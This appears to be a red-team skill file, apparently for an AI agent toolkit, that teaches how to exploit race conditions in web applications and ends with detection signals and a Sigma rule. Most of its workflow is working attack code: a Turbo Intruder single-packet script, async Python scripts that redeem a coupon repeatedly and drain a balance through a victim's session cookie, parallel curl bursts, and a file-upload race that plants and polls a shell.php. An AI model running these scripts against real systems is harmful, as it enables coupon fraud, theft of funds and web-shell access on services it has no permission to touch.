<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-race-conditions
description: >-
  Discover and exploit race condition vulnerabilities in web applications.
  Covers TOCTOU flaws, limit bypass, double-spend attacks, and HTTP/2
  single-packet techniques for reliable exploitation.
domain: cybersecurity
subdomain: red-team
tags:
  - race-condition
  - toctou
  - concurrency
  - web-application
  - limit-bypass
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1499.003"]
  tools: ["burp-suite", "turbo-intruder", "racepwn", "curl"]
---

# Exploiting Race Conditions

## Overview

Race conditions (CWE-362) occur when application behavior depends on the
sequence or timing of uncontrollable events. In web applications, concurrent
requests can bypass validation checks, double-spend balances, redeem coupons
multiple times, or escalate privileges through TOCTOU (Time-Of-Check-to-Time-Of-Use) gaps.

## Prerequisites

- Target web application with state-dependent operations
- Burp Suite with Turbo Intruder extension
- HTTP/2 support for single-packet attacks

```bash
pip install aiohttp httpx
```

## Key Concepts

### Race Condition Categories

| Category | Example |
|----------|---------|
| Limit bypass | Apply coupon multiple times |
| Double-spend | Transfer funds concurrently |
| TOCTOU | Check permission then execute action |
| File race | Write then read before validation |
| Privilege escalation | Set role during registration |

### HTTP/2 Single-Packet Attack

HTTP/2 multiplexing allows sending multiple requests in a single TCP packet,
eliminating network jitter. All requests arrive at the server simultaneously,
maximizing the race window.

## Workflow

### Step 1: Identify Race-Prone Endpoints

```
# Look for state-changing operations:
- Balance transfers / payments
- Coupon/voucher redemption
- Account registration with invite codes
- File upload + processing
- Like/vote/rating systems
- Two-factor authentication setup
```

### Step 2: Turbo Intruder — Single-Packet Attack

```python
# Turbo Intruder script — HTTP/2 single-packet
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Release all at once (single packet)
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
```

### Step 3: Python — Async Race Exploit

```python
import asyncio
import httpx

async def race_request(client, url, data):
    return await client.post(url, json=data)

async def exploit():
    async with httpx.AsyncClient(http2=True) as client:
        tasks = [
            race_request(client, "https://target.com/api/redeem",
                        {"coupon": "SAVE50"})
            for _ in range(20)
        ]
        responses = await asyncio.gather(*tasks)
        for i, r in enumerate(responses):
            print(f"Request {i}: {r.status_code} - {r.text[:100]}")

asyncio.run(exploit())
```

### Step 4: curl — Parallel Requests

```bash
# GNU parallel with curl
seq 1 20 | parallel -j20 \
  'curl -s -X POST https://target.com/api/redeem \
   -H "Cookie: session=TOKEN" \
   -d "coupon=SAVE50" -o /dev/null -w "%{http_code}\n"'

# curl with --parallel (HTTP/2)
curl --parallel --parallel-max 20 \
  -X POST https://target.com/api/redeem \
  -d "coupon=SAVE50" \
  -X POST https://target.com/api/redeem \
  -d "coupon=SAVE50"
```

### Step 5: File Upload Race

```bash
# Upload and access before validation
# Thread 1: Upload malicious file
curl -X POST https://target.com/upload -F "file=@shell.php"

# Thread 2: Access before deletion
while true; do
  curl -s https://target.com/uploads/shell.php
done
```

### Step 6: Database Race — Double Spend

```python
# Simultaneous transfers to drain balance
import asyncio
import httpx

async def transfer(client, session_cookie):
    return await client.post(
        "https://target.com/api/transfer",
        json={"to": "attacker", "amount": 1000},
        cookies={"session": session_cookie},
    )

async def double_spend(cookie):
    async with httpx.AsyncClient(http2=True) as client:
        tasks = [transfer(client, cookie) for _ in range(10)]
        results = await asyncio.gather(*tasks)
        success = sum(1 for r in results if r.status_code == 200)
        print(f"Successful transfers: {success}")

asyncio.run(double_spend("victim_session_cookie"))
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Burst requests | WAF/Load balancer | N identical requests within milliseconds |
| Duplicate transactions | Application logs | Same operation ID processed multiple times |
| Balance anomaly | Database | Balance below zero or coupon redeemed > 1 |
| HTTP/2 multiplexing | Load balancer | Single connection with many concurrent streams |

```yaml
title: Race Condition — Burst Identical Requests
id: 30415263-4758-6789-3456-789012345678
status: experimental
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
  timeframe: 1s
  condition: selection | count(cs-uri-stem) by c-ip > 5
falsepositives:
  - API clients with retry logic
  - Load testing
level: medium
tags:
  - attack.t1190
  - attack.initial_access
```

## Verification

- [ ] Race-prone endpoint identified
- [ ] Concurrent requests sent within race window
- [ ] State manipulation confirmed (double-spend, limit bypass)
- [ ] Impact quantified
- [ ] Detection artifacts documented

## References

- [Turbo Intruder](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [PortSwigger Race Conditions](https://portswigger.net/web-security/race-conditions)
- [MITRE CWE-362](https://cwe.mitre.org/data/definitions/362.html)
